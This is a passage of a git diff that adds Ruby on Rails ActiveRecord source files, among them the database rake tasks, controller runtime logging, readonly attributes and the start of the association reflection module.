+          unless ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer
+            ActiveSupport::Deprecation.warn <<-MSG
+Leaving `ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer`
+set to false is deprecated. SQLite databases have used 't' and 'f' to serialize
+boolean values and must have old data converted to 1 and 0 (its native boolean
+serialization) before setting this flag to true. Conversion can be accomplished
+by setting up a rake task which runs
+
+  ExampleModel.where("boolean_column = 't'").update_all(boolean_column: 1)
+  ExampleModel.where("boolean_column = 'f'").update_all(boolean_column: 0)
+
+for all models and all boolean columns, after which the flag must be set to
+true by adding the following to your application.rb file:
+
+  Rails.application.config.active_record.sqlite3.represent_boolean_as_integer = true
+MSG
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/railties/console_sandbox.rb b/activerecord/lib/active_record/railties/console_sandbox.rb
new file mode 100644
index 0000000000..8917638a5d
--- /dev/null
+++ b/activerecord/lib/active_record/railties/console_sandbox.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+ActiveRecord::Base.connection.begin_transaction(joinable: false)
+
+at_exit do
+  ActiveRecord::Base.connection.rollback_transaction
+end
diff --git a/activerecord/lib/active_record/railties/controller_runtime.rb b/activerecord/lib/active_record/railties/controller_runtime.rb
new file mode 100644
index 0000000000..3cf66980a5
--- /dev/null
+++ b/activerecord/lib/active_record/railties/controller_runtime.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/attr_internal"
+require_relative "../log_subscriber"
+
+module ActiveRecord
+  module Railties # :nodoc:
+    module ControllerRuntime #:nodoc:
+      extend ActiveSupport::Concern
+
+    # TODO Change this to private once we've dropped Ruby 2.2 support.
+    # Workaround for Ruby 2.2 "private attribute?" warning.
+    protected
+
+      attr_internal :db_runtime
+
+    private
+
+      def process_action(action, *args)
+        # We also need to reset the runtime before each action
+        # because of queries in middleware or in cases we are streaming
+        # and it won't be cleaned up by the method below.
+        ActiveRecord::LogSubscriber.reset_runtime
+        super
+      end
+
+      def cleanup_view_runtime
+        if logger && logger.info? && ActiveRecord::Base.connected?
+          db_rt_before_render = ActiveRecord::LogSubscriber.reset_runtime
+          self.db_runtime = (db_runtime || 0) + db_rt_before_render
+          runtime = super
+          db_rt_after_render = ActiveRecord::LogSubscriber.reset_runtime
+          self.db_runtime += db_rt_after_render
+          runtime - db_rt_after_render
+        else
+          super
+        end
+      end
+
+      def append_info_to_payload(payload)
+        super
+        if ActiveRecord::Base.connected?
+          payload[:db_runtime] = (db_runtime || 0) + ActiveRecord::LogSubscriber.reset_runtime
+        end
+      end
+
+      module ClassMethods # :nodoc:
+        def log_process_action(payload)
+          messages, db_runtime = super, payload[:db_runtime]
+          messages << ("ActiveRecord: %.1fms" % db_runtime.to_f) if db_runtime
+          messages
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/railties/databases.rake b/activerecord/lib/active_record/railties/databases.rake
new file mode 100644
index 0000000000..691b3612d8
--- /dev/null
+++ b/activerecord/lib/active_record/railties/databases.rake
@@ -0,0 +1,369 @@
+# frozen_string_literal: true
+
+require "active_record"
+
+db_namespace = namespace :db do
+  desc "Set the environment value for the database"
+  task "environment:set" => [:environment, :load_config] do
+    ActiveRecord::InternalMetadata.create_table
+    ActiveRecord::InternalMetadata[:environment] = ActiveRecord::Migrator.current_environment
+  end
+
+  task check_protected_environments: [:environment, :load_config] do
+    ActiveRecord::Tasks::DatabaseTasks.check_protected_environments!
+  end
+
+  task :load_config do
+    ActiveRecord::Base.configurations       = ActiveRecord::Tasks::DatabaseTasks.database_configuration || {}
+    ActiveRecord::Migrator.migrations_paths = ActiveRecord::Tasks::DatabaseTasks.migrations_paths
+  end
+
+  namespace :create do
+    task all: :load_config do
+      ActiveRecord::Tasks::DatabaseTasks.create_all
+    end
+  end
+
+  desc "Creates the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:create:all to create all databases in the config). Without RAILS_ENV or when RAILS_ENV is development, it defaults to creating the development and test databases."
+  task create: [:load_config] do
+    ActiveRecord::Tasks::DatabaseTasks.create_current
+  end
+
+  namespace :drop do
+    task all: [:load_config, :check_protected_environments] do
+      ActiveRecord::Tasks::DatabaseTasks.drop_all
+    end
+  end
+
+  desc "Drops the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:drop:all to drop all databases in the config). Without RAILS_ENV or when RAILS_ENV is development, it defaults to dropping the development and test databases."
+  task drop: [:load_config, :check_protected_environments] do
+    db_namespace["drop:_unsafe"].invoke
+  end
+
+  task "drop:_unsafe" => [:load_config] do
+    ActiveRecord::Tasks::DatabaseTasks.drop_current
+  end
+
+  namespace :purge do
+    task all: [:load_config, :check_protected_environments] do
+      ActiveRecord::Tasks::DatabaseTasks.purge_all
+    end
+  end
+
+  # desc "Empty the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:purge:all to purge all databases in the config). Without RAILS_ENV it defaults to purging the development and test databases."
+  task purge: [:load_config, :check_protected_environments] do
+    ActiveRecord::Tasks::DatabaseTasks.purge_current
+  end
+
+  desc "Migrate the database (options: VERSION=x, VERBOSE=false, SCOPE=blog)."
+  task migrate: [:environment, :load_config] do
+    ActiveRecord::Tasks::DatabaseTasks.migrate
+    db_namespace["_dump"].invoke
+  end
+
+  # IMPORTANT: This task won't dump the schema if ActiveRecord::Base.dump_schema_after_migration is set to false
+  task :_dump do
+    if ActiveRecord::Base.dump_schema_after_migration
+      case ActiveRecord::Base.schema_format
+      when :ruby then db_namespace["schema:dump"].invoke
+      when :sql  then db_namespace["structure:dump"].invoke
+      else
+        raise "unknown schema format #{ActiveRecord::Base.schema_format}"
+      end
+    end
+    # Allow this task to be called as many times as required. An example is the
+    # migrate:redo task, which calls other two internally that depend on this one.
+    db_namespace["_dump"].reenable
+  end
+
+  namespace :migrate do
+    # desc  'Rollbacks the database one migration and re migrate up (options: STEP=x, VERSION=x).'
+    task redo: [:environment, :load_config] do
+      raise "Empty VERSION provided" if ENV["VERSION"] && ENV["VERSION"].empty?
+
+      if ENV["VERSION"]
+        db_namespace["migrate:down"].invoke
+        db_namespace["migrate:up"].invoke
+      else
+        db_namespace["rollback"].invoke
+        db_namespace["migrate"].invoke
+      end
+    end
+
+    # desc 'Resets your database using your migrations for the current environment'
+    task reset: ["db:drop", "db:create", "db:migrate"]
+
+    # desc 'Runs the "up" for a given migration VERSION.'
+    task up: [:environment, :load_config] do
+      raise "VERSION is required" if !ENV["VERSION"] || ENV["VERSION"].empty?
+
+      version = ENV["VERSION"] ? ENV["VERSION"].to_i : nil
+      ActiveRecord::Migrator.run(:up, ActiveRecord::Tasks::DatabaseTasks.migrations_paths, version)
+      db_namespace["_dump"].invoke
+    end
+
+    # desc 'Runs the "down" for a given migration VERSION.'
+    task down: [:environment, :load_config] do
+      raise "VERSION is required - To go down one migration, use db:rollback" if !ENV["VERSION"] || ENV["VERSION"].empty?
+      version = ENV["VERSION"] ? ENV["VERSION"].to_i : nil
+      ActiveRecord::Migrator.run(:down, ActiveRecord::Tasks::DatabaseTasks.migrations_paths, version)
+      db_namespace["_dump"].invoke
+    end
+
+    desc "Display status of migrations"
+    task status: [:environment, :load_config] do
+      unless ActiveRecord::SchemaMigration.table_exists?
+        abort "Schema migrations table does not exist yet."
+      end
+
+      # output
+      puts "\ndatabase: #{ActiveRecord::Base.connection_config[:database]}\n\n"
+      puts "#{'Status'.center(8)}  #{'Migration ID'.ljust(14)}  Migration Name"
+      puts "-" * 50
+      paths = ActiveRecord::Tasks::DatabaseTasks.migrations_paths
+      ActiveRecord::Migrator.migrations_status(paths).each do |status, version, name|
+        puts "#{status.center(8)}  #{version.ljust(14)}  #{name}"
+      end
+      puts
+    end
+  end
+
+  desc "Rolls the schema back to the previous version (specify steps w/ STEP=n)."
+  task rollback: [:environment, :load_config] do
+    step = ENV["STEP"] ? ENV["STEP"].to_i : 1
+    ActiveRecord::Migrator.rollback(ActiveRecord::Tasks::DatabaseTasks.migrations_paths, step)
+    db_namespace["_dump"].invoke
+  end
+
+  # desc 'Pushes the schema to the next version (specify steps w/ STEP=n).'
+  task forward: [:environment, :load_config] do
+    step = ENV["STEP"] ? ENV["STEP"].to_i : 1
+    ActiveRecord::Migrator.forward(ActiveRecord::Tasks::DatabaseTasks.migrations_paths, step)
+    db_namespace["_dump"].invoke
+  end
+
+  # desc 'Drops and recreates the database from db/schema.rb for the current environment and loads the seeds.'
+  task reset: [ "db:drop", "db:setup" ]
+
+  # desc "Retrieves the charset for the current environment's database"
+  task charset: [:environment, :load_config] do
+    puts ActiveRecord::Tasks::DatabaseTasks.charset_current
+  end
+
+  # desc "Retrieves the collation for the current environment's database"
+  task collation: [:environment, :load_config] do
+    begin
+      puts ActiveRecord::Tasks::DatabaseTasks.collation_current
+    rescue NoMethodError
+      $stderr.puts "Sorry, your database adapter is not supported yet. Feel free to submit a patch."
+    end
+  end
+
+  desc "Retrieves the current schema version number"
+  task version: [:environment, :load_config] do
+    puts "Current version: #{ActiveRecord::Migrator.current_version}"
+  end
+
+  # desc "Raises an error if there are pending migrations"
+  task abort_if_pending_migrations: [:environment, :load_config] do
+    pending_migrations = ActiveRecord::Migrator.open(ActiveRecord::Tasks::DatabaseTasks.migrations_paths).pending_migrations
+
+    if pending_migrations.any?
+      puts "You have #{pending_migrations.size} pending #{pending_migrations.size > 1 ? 'migrations:' : 'migration:'}"
+      pending_migrations.each do |pending_migration|
+        puts "  %4d %s" % [pending_migration.version, pending_migration.name]
+      end
+      abort %{Run `rails db:migrate` to update your database then try again.}
+    end
+  end
+
+  desc "Creates the database, loads the schema, and initializes with the seed data (use db:reset to also drop the database first)"
+  task setup: ["db:schema:load_if_ruby", "db:structure:load_if_sql", :seed]
+
+  desc "Loads the seed data from db/seeds.rb"
+  task :seed do
+    db_namespace["abort_if_pending_migrations"].invoke
+    ActiveRecord::Tasks::DatabaseTasks.load_seed
+  end
+
+  namespace :fixtures do
+    desc "Loads fixtures into the current environment's database. Load specific fixtures using FIXTURES=x,y. Load from subdirectory in test/fixtures using FIXTURES_DIR=z. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures."
+    task load: [:environment, :load_config] do
+      require_relative "../fixtures"
+
+      base_dir = ActiveRecord::Tasks::DatabaseTasks.fixtures_path
+
+      fixtures_dir = if ENV["FIXTURES_DIR"]
+        File.join base_dir, ENV["FIXTURES_DIR"]
+      else
+        base_dir
+      end
+
+      fixture_files = if ENV["FIXTURES"]
+        ENV["FIXTURES"].split(",")
+      else
+        # The use of String#[] here is to support namespaced fixtures.
+        Dir["#{fixtures_dir}/**/*.yml"].map { |f| f[(fixtures_dir.size + 1)..-5] }
+      end
+
+      ActiveRecord::FixtureSet.create_fixtures(fixtures_dir, fixture_files)
+    end
+
+    # desc "Search for a fixture given a LABEL or ID. Specify an alternative path (eg. spec/fixtures) using FIXTURES_PATH=spec/fixtures."
+    task identify: [:environment, :load_config] do
+      require_relative "../fixtures"
+
+      label, id = ENV["LABEL"], ENV["ID"]
+      raise "LABEL or ID required" if label.blank? && id.blank?
+
+      puts %Q(The fixture ID for "#{label}" is #{ActiveRecord::FixtureSet.identify(label)}.) if label
+
+      base_dir = ActiveRecord::Tasks::DatabaseTasks.fixtures_path
+
+      Dir["#{base_dir}/**/*.yml"].each do |file|
+        if data = YAML::load(ERB.new(IO.read(file)).result)
+          data.each_key do |key|
+            key_id = ActiveRecord::FixtureSet.identify(key)
+
+            if key == label || key_id == id.to_i
+              puts "#{file}: #{key} (#{key_id})"
+            end
+          end
+        end
+      end
+    end
+  end
+
+  namespace :schema do
+    desc "Creates a db/schema.rb file that is portable against any DB supported by Active Record"
+    task dump: [:environment, :load_config] do
+      require_relative "../schema_dumper"
+      filename = ENV["SCHEMA"] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "schema.rb")
+      File.open(filename, "w:utf-8") do |file|
+        ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, file)
+      end
+      db_namespace["schema:dump"].reenable
+    end
+
+    desc "Loads a schema.rb file into the database"
+    task load: [:environment, :load_config, :check_protected_environments] do
+      ActiveRecord::Tasks::DatabaseTasks.load_schema_current(:ruby, ENV["SCHEMA"])
+    end
+
+    task load_if_ruby: ["db:create", :environment] do
+      db_namespace["schema:load"].invoke if ActiveRecord::Base.schema_format == :ruby
+    end
+
+    namespace :cache do
+      desc "Creates a db/schema_cache.yml file."
+      task dump: [:environment, :load_config] do
+        conn = ActiveRecord::Base.connection
+        filename = File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "schema_cache.yml")
+        ActiveRecord::Tasks::DatabaseTasks.dump_schema_cache(conn, filename)
+      end
+
+      desc "Clears a db/schema_cache.yml file."
+      task clear: [:environment, :load_config] do
+        filename = File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "schema_cache.yml")
+        rm_f filename, verbose: false
+      end
+    end
+
+  end
+
+  namespace :structure do
+    desc "Dumps the database structure to db/structure.sql. Specify another file with SCHEMA=db/my_structure.sql"
+    task dump: [:environment, :load_config] do
+      filename = ENV["SCHEMA"] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, "structure.sql")
+      current_config = ActiveRecord::Tasks::DatabaseTasks.current_config
+      ActiveRecord::Tasks::DatabaseTasks.structure_dump(current_config, filename)
+
+      if ActiveRecord::SchemaMigration.table_exists?
+        File.open(filename, "a") do |f|
+          f.puts ActiveRecord::Base.connection.dump_schema_information
+          f.print "\n"
+        end
+      end
+      db_namespace["structure:dump"].reenable
+    end
+
+    desc "Recreates the databases from the structure.sql file"
+    task load: [:environment, :load_config, :check_protected_environments] do
+      ActiveRecord::Tasks::DatabaseTasks.load_schema_current(:sql, ENV["SCHEMA"])
+    end
+
+    task load_if_sql: ["db:create", :environment] do
+      db_namespace["structure:load"].invoke if ActiveRecord::Base.schema_format == :sql
+    end
+  end
+
+  namespace :test do
+    # desc "Recreate the test database from the current schema"
+    task load: %w(db:test:purge) do
+      case ActiveRecord::Base.schema_format
+      when :ruby
+        db_namespace["test:load_schema"].invoke
+      when :sql
+        db_namespace["test:load_structure"].invoke
+      end
+    end
+
+    # desc "Recreate the test database from an existent schema.rb file"
+    task load_schema: %w(db:test:purge) do
+      begin
+        should_reconnect = ActiveRecord::Base.connection_pool.active_connection?
+        ActiveRecord::Schema.verbose = false
+        ActiveRecord::Tasks::DatabaseTasks.load_schema ActiveRecord::Base.configurations["test"], :ruby, ENV["SCHEMA"]
+      ensure
+        if should_reconnect
+          ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations[ActiveRecord::Tasks::DatabaseTasks.env])
+        end
+      end
+    end
+
+    # desc "Recreate the test database from an existent structure.sql file"
+    task load_structure: %w(db:test:purge) do
+      ActiveRecord::Tasks::DatabaseTasks.load_schema ActiveRecord::Base.configurations["test"], :sql, ENV["SCHEMA"]
+    end
+
+    # desc "Empty the test database"
+    task purge: %w(environment load_config check_protected_environments) do
+      ActiveRecord::Tasks::DatabaseTasks.purge ActiveRecord::Base.configurations["test"]
+    end
+
+    # desc 'Load the test schema'
+    task prepare: %w(environment load_config) do
+      unless ActiveRecord::Base.configurations.blank?
+        db_namespace["test:load"].invoke
+      end
+    end
+  end
+end
+
+namespace :railties do
+  namespace :install do
+    # desc "Copies missing migrations from Railties (e.g. engines). You can specify Railties to use with FROM=railtie1,railtie2"
+    task migrations: :'db:load_config' do
+      to_load = ENV["FROM"].blank? ? :all : ENV["FROM"].split(",").map(&:strip)
+      railties = {}
+      Rails.application.migration_railties.each do |railtie|
+        next unless to_load == :all || to_load.include?(railtie.railtie_name)
+
+        if railtie.respond_to?(:paths) && (path = railtie.paths["db/migrate"].first)
+          railties[railtie.railtie_name] = path
+        end
+      end
+
+      on_skip = Proc.new do |name, migration|
+        puts "NOTE: Migration #{migration.basename} from #{name} has been skipped. Migration with the same name already exists."
+      end
+
+      on_copy = Proc.new do |name, migration|
+        puts "Copied migration #{migration.basename} from #{name}"
+      end
+
+      ActiveRecord::Migration.copy(ActiveRecord::Tasks::DatabaseTasks.migrations_paths.first, railties,
+                                    on_skip: on_skip, on_copy: on_copy)
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/railties/jdbcmysql_error.rb b/activerecord/lib/active_record/railties/jdbcmysql_error.rb
new file mode 100644
index 0000000000..72c75ddd52
--- /dev/null
+++ b/activerecord/lib/active_record/railties/jdbcmysql_error.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+#FIXME Remove if ArJdbcMysql will give.
+module ArJdbcMySQL #:nodoc:
+  class Error < StandardError #:nodoc:
+    attr_accessor :error_number, :sql_state
+
+    def initialize(msg)
+      super
+      @error_number = nil
+      @sql_state    = nil
+    end
+
+    # Mysql gem compatibility
+    alias_method :errno, :error_number
+    alias_method :error, :message
+  end
+end
diff --git a/activerecord/lib/active_record/readonly_attributes.rb b/activerecord/lib/active_record/readonly_attributes.rb
new file mode 100644
index 0000000000..7bc26993d5
--- /dev/null
+++ b/activerecord/lib/active_record/readonly_attributes.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ReadonlyAttributes
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :_attr_readonly, instance_accessor: false, default: []
+    end
+
+    module ClassMethods
+      # Attributes listed as readonly will be used to create a new record but update operations will
+      # ignore these fields.
+      def attr_readonly(*attributes)
+        self._attr_readonly = Set.new(attributes.map(&:to_s)) + (_attr_readonly || [])
+      end
+
+      # Returns an array of all the attributes that have been specified as readonly.
+      def readonly_attributes
+        _attr_readonly
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/reflection.rb b/activerecord/lib/active_record/reflection.rb
new file mode 100644
index 0000000000..efe56454d0
--- /dev/null
+++ b/activerecord/lib/active_record/reflection.rb
@@ -0,0 +1,1141 @@
+# frozen_string_literal: true
+
+require "thread"
+require "active_support/core_ext/string/filters"
+require "active_support/deprecation"
+
+module ActiveRecord
+  # = Active Record Reflection
+  module Reflection # :nodoc:
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :_reflections, instance_writer: false, default: {}
+      class_attribute :aggregate_reflections, instance_writer: false, default: {}
+    end
+
+    def self.create(macro, name, scope, options, ar)
+      klass = \
+        case macro
+        when :composed_of
+          AggregateReflection
+        when :has_many
+          HasManyReflection
+        when :has_one
+          HasOneReflection
+        when :belongs_to
+          BelongsToReflection
+        else
+          raise "Unsupported Macro: #{macro}"
+        end
+
+      reflection = klass.new(name, scope, options, ar)
+      options[:through] ? ThroughReflection.new(reflection) : reflection
+    end
+
+    def self.add_reflection(ar, name, reflection)
+      ar.clear_reflections_cache
+      ar._reflections = ar._reflections.merge(name.to_s => reflection)
+    end
+
+    def self.add_aggregate_reflection(ar, name, reflection)
+      ar.aggregate_reflections = ar.aggregate_reflections.merge(name.to_s => reflection)
+    end
+
+    # \Reflection enables the ability to examine the associations and aggregations of
+    # Active Record classes and objects. This information, for example,
+    # can be used in a form builder that takes an Active Record object
+    # and creates input fields for all of the attributes depending on their type
+    # and displays the associations to other objects.
+    #
+    # MacroReflection class has info for AggregateReflection and AssociationReflection
+    # classes.
+    module ClassMethods
+      # Returns an array of AggregateReflection objects for all the aggregations in the class.
+      def reflect_on_all_aggregations
+        aggregate_reflections.values
+      end
+
+      # Returns the AggregateReflection object for the named +aggregation+ (use the symbol).
+      #
+      #   Account.reflect_on_aggregation(:balance) # => the balance AggregateReflection
+      #
+      def reflect_on_aggregation(aggregation)
+        aggregate_reflections[aggregation.to_s]
+      end
+
+      # Returns a Hash of name of the reflection as the key and an AssociationReflection as the value.
+      #
+      #   Account.reflections # => {"balance" => AggregateReflection}
+      #
+      def reflections
+        @__reflections ||= begin
+          ref = {}
+
+          _reflections.each do |name, reflection|
+            parent_reflection = reflection.parent_reflection
+
+            if parent_reflection
+              parent_name = parent_reflection.name
+              ref[parent_name.to_s] = parent_reflection
+            else
+              ref[name] = reflection
+            end
+          end
+
+          ref
+        end
+      end
+
+      # Returns an array of AssociationReflection objects for all the
+      # associations in the class. If you only want to reflect on a certain
+      # association type, pass in the symbol (<tt>:has_many</tt>, <tt>:has_one</tt>,
+      # <tt>:belongs_to</tt>) as the first parameter.
+      #
+      # Example:
+      #
+      #   Account.reflect_on_all_associations             # returns an array of all associations
+      #   Account.reflect_on_all_associations(:has_many)  # returns an array of all has_many associations
+      #
+      def reflect_on_all_associations(macro = nil)
+        association_reflections = reflections.values
+        association_reflections.select! { |reflection| reflection.macro == macro } if macro
+        association_reflections
+      end
+
+      # Returns the AssociationReflection object for the +association+ (use the symbol).
+      #
+      #   Account.reflect_on_association(:owner)             # returns the owner AssociationReflection
+      #   Invoice.reflect_on_association(:line_items).macro  # returns :has_many
+      #
+      def reflect_on_association(association)
+        reflections[association.to_s]
+      end
+
+      def _reflect_on_association(association) #:nodoc:
+        _reflections[association.to_s]
+      end
+
+      # Returns an array of AssociationReflection objects for all associations which have <tt>:autosave</tt> enabled.
+      def reflect_on_all_autosave_associations
+        reflections.values.select { |reflection| reflection.options[:autosave] }
+      end
+
+      def clear_reflections_cache # :nodoc:
+        @__reflections = nil
+      end
+    end
+
+    # Holds all the methods that are shared between MacroReflection and ThroughReflection.
+    #
+    #   AbstractReflection
+    #     MacroReflection
+    #       AggregateReflection
+    #       AssociationReflection
+    #         HasManyReflection
+    #         HasOneReflection
+    #         BelongsToReflection
+    #         HasAndBelongsToManyReflection
+    #     ThroughReflection
+    #     PolymorphicReflection
+    #       RuntimeReflection
+    class AbstractReflection # :nodoc:
+      def through_reflection?
+        false
+      end
+
+      def table_name
+        klass.table_name
+      end
+
+      # Returns a new, unsaved instance of the associated class. +attributes+ will
+      # be passed to the class's constructor.
+      def build_association(attributes, &block)
+        klass.new(attributes, &block)
+      end
+
+      def quoted_table_name
+        klass.quoted_table_name
+      end
+
+      def primary_key_type
+        klass.type_for_attribute(klass.primary_key)
+      end
+
+      # Returns the class name for the macro.
+      #
+      # <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>'Money'</tt>
+      # <tt>has_many :clients</tt> returns <tt>'Client'</tt>
+      def class_name
+        @class_name ||= (options[:class_name] || derive_class_name).to_s
+      end
+
+      JoinKeys = Struct.new(:key, :foreign_key) # :nodoc:
+
+      def join_keys
+        @join_keys ||= get_join_keys(klass)
+      end
+
+      # Returns a list of scopes that should be applied for this Reflection
+      # object when querying the database.
+      def scopes
+        scope ? [scope] : []
+      end
+
+      def scope_chain
+        chain.map(&:scopes)
+      end
+      deprecate :scope_chain
+
+      def build_join_constraint(table, foreign_table)
+        key         = join_keys.key
+        foreign_key = join_keys.foreign_key
+
+        constraint = table[key].eq(foreign_table[foreign_key])
+
+        if klass.finder_needs_type_condition?
+          table.create_and([constraint, klass.send(:type_condition, table)])
+        else
+          constraint
+        end
+      end
+
+      def join_scope(table, foreign_klass)
+        predicate_builder = predicate_builder(table)
+        scope_chain_items = join_scopes(table, predicate_builder)
+        klass_scope       = klass_join_scope(table, predicate_builder)
+
+        if type
+          klass_scope.where!(type => foreign_klass.base_class.sti_name)
+        end
+
+        scope_chain_items.inject(klass_scope, &:merge!)
+      end
+
+      def join_scopes(table, predicate_builder) # :nodoc:
+        if scope
+          [build_scope(table, predicate_builder).instance_exec(&scope)]
+        else
+          []
+        end
+      end
+
+      def klass_join_scope(table, predicate_builder) # :nodoc:
+        current_scope = klass.current_scope
+
+        if current_scope && current_scope.empty_scope?
+          build_scope(table, predicate_builder)
+        else
+          klass.default_scoped(build_scope(table, predicate_builder))
+        end
+      end
+
+      def constraints
+        chain.flat_map(&:scopes)
+      end
+
+      def counter_cache_column
+        if belongs_to?
+          if options[:counter_cache] == true
+            "#{active_record.name.demodulize.underscore.pluralize}_count"
+          elsif options[:counter_cache]
+            options[:counter_cache].to_s
+          end
+        else
+          options[:counter_cache] ? options[:counter_cache].to_s : "#{name}_count"
+        end
+      end
+
+      def inverse_of
+        return unless inverse_name
+
+        @inverse_of ||= klass._reflect_on_association inverse_name
+      end
+
+      def check_validity_of_inverse!
+        unless polymorphic?
+          if has_inverse? && inverse_of.nil?
+            raise InverseOfAssociationNotFoundError.new(self)
+          end
+        end
+      end
+
+      # This shit is nasty. We need to avoid the following situation:
+      #
+      #   * An associated record is deleted via record.destroy
+      #   * Hence the callbacks run, and they find a belongs_to on the record with a
+      #     :counter_cache options which points back at our owner. So they update the
+      #     counter cache.
+      #   * In which case, we must make sure to *not* update the counter cache, or else
+      #     it will be decremented twice.
+      #
+      # Hence this method.
+      def inverse_which_updates_counter_cache
+        return @inverse_which_updates_counter_cache if defined?(@inverse_which_updates_counter_cache)
+        @inverse_which_updates_counter_cache = klass.reflect_on_all_associations(:belongs_to).find do |inverse|
+          inverse.counter_cache_column == counter_cache_column
+        end
+      end
+      alias inverse_updates_counter_cache? inverse_which_updates_counter_cache
+
+      def inverse_updates_counter_in_memory?
+        inverse_of && inverse_which_updates_counter_cache == inverse_of
+      end
+
+      # Returns whether a counter cache should be used for this association.
+      #
+      # The counter_cache option must be given on either the owner or inverse
+      # association, and the column must be present on the owner.
+      def has_cached_counter?
+        options[:counter_cache] ||
+          inverse_which_updates_counter_cache && inverse_which_updates_counter_cache.options[:counter_cache] &&
+          !!active_record.columns_hash[counter_cache_column]
+      end
+
+      def counter_must_be_updated_by_has_many?
+        !inverse_updates_counter_in_memory? && has_cached_counter?
+      end
+
+      def alias_candidate(name)
+        "#{plural_name}_#{name}"
+      end
+
+      def chain
+        collect_join_chain
+      end
+
+      def get_join_keys(association_klass)
+        JoinKeys.new(join_pk(association_klass), join_fk)
+      end
+
+      def build_scope(table, predicate_builder = predicate_builder(table))
+        Relation.create(klass, table, predicate_builder)
+      end
+
+      protected
+        def actual_source_reflection # FIXME: this is a horrible name
+          self
+        end
+
+      private
+        def predicate_builder(table)
+          PredicateBuilder.new(TableMetadata.new(klass, table))
+        end
+
+        def join_pk(_)
+          foreign_key
+        end
+
+        def join_fk
+          active_record_primary_key
+        end
+    end
+
+    # Base class for AggregateReflection and AssociationReflection. Objects of
+    # AggregateReflection and AssociationReflection are returned by the Reflection::ClassMethods.
+    class MacroReflection < AbstractReflection
+      # Returns the name of the macro.
+      #
+      # <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>:balance</tt>
+      # <tt>has_many :clients</tt> returns <tt>:clients</tt>
+      attr_reader :name
+
+      attr_reader :scope
+
+      # Returns the hash of options used for the macro.
+      #
+      # <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>{ class_name: "Money" }</tt>
+      # <tt>has_many :clients</tt> returns <tt>{}</tt>
+      attr_reader :options
+
+      attr_reader :active_record
+
+      attr_reader :plural_name # :nodoc:
+
+      def initialize(name, scope, options, active_record)
+        @name          = name
+        @scope         = scope
+        @options       = options
+        @active_record = active_record
+        @klass         = options[:anonymous_class]
+        @plural_name   = active_record.pluralize_table_names ?
+                            name.to_s.pluralize : name.to_s
+      end
+
+      def autosave=(autosave)
+        @options[:autosave] = autosave
+        parent_reflection = self.parent_reflection
+        if parent_reflection
+          parent_reflection.autosave = autosave
+        end
+      end
+
+      # Returns the class for the macro.
+      #
+      # <tt>composed_of :balance, class_name: 'Money'</tt> returns the Money class
+      # <tt>has_many :clients</tt> returns the Client class
+      def klass
+        @klass ||= compute_class(class_name)
+      end
+
+      def compute_class(name)
+        name.constantize
+      end
+
+      # Returns +true+ if +self+ and +other_aggregation+ have the same +name+ attribute, +active_record+ attribute,
+      # and +other_aggregation+ has an options hash assigned to it.
+      def ==(other_aggregation)
+        super ||
+          other_aggregation.kind_of?(self.class) &&
+          name == other_aggregation.name &&
+          !other_aggregation.options.nil? &&
+          active_record == other_aggregation.active_record
+      end
+
+      def scope_for(klass)
+        scope ? klass.unscoped.instance_exec(nil, &scope) : klass.unscoped
+      end
+
+      private
+        def derive_class_name
+          name.to_s.camelize
+        end
+    end
+
+    # Holds all the metadata about an aggregation as it was specified in the
+    # Active Record class.
+    class AggregateReflection < MacroReflection #:nodoc:
+      def mapping
+        mapping = options[:mapping] || [name, name]
+        mapping.first.is_a?(Array) ? mapping : [mapping]
+      end
+    end
+
+    # Holds all the metadata about an association as it was specified in the
+    # Active Record class.
+    class AssociationReflection < MacroReflection #:nodoc:
+      # Returns the target association's class.
+      #
+      #   class Author < ActiveRecord::Base
+      #     has_many :books
+      #   end
+      #
+      #   Author.reflect_on_association(:books).klass
+      #   # => Book
+      #
+      # <b>Note:</b> Do not call +klass.new+ or +klass.create+ to instantiate
+      # a new association object. Use +build_association+ or +create_association+
+      # instead. This allows plugins to hook into association object creation.
+      def klass
+        @klass ||= compute_class(class_name)
+      end
+
+      def compute_class(name)
+        active_record.send(:compute_type, name)
+      end
+
+      attr_reader :type, :foreign_type
+      attr_accessor :parent_reflection # Reflection
+
+      def initialize(name, scope, options, active_record)
+        super
+        @automatic_inverse_of = nil
+        @type         = options[:as] && (options[:foreign_type] || "#{options[:as]}_type")
+        @foreign_type = options[:foreign_type] || "#{name}_type"
+        @constructable = calculate_constructable(macro, options)
+        @association_scope_cache = {}
+        @scope_lock = Mutex.new
+
+        if options[:class_name] && options[:class_name].class == Class
+          ActiveSupport::Deprecation.warn(<<-MSG.squish)
+            Passing a class to the `class_name` is deprecated and will raise
+            an ArgumentError in Rails 5.2. It eagerloads more classes than
+            necessary and potentially creates circular dependencies.
+
+            Please pass the class name as a string:
+            `#{macro} :#{name}, class_name: '#{options[:class_name]}'`
+          MSG
+        end
+      end
+
+      def association_scope_cache(conn, owner)
+        key = conn.prepared_statements
+        if polymorphic?
+          key = [key, owner._read_attribute(@foreign_type)]
+        end
+        @association_scope_cache[key] ||= @scope_lock.synchronize {
+          @association_scope_cache[key] ||= yield
+        }
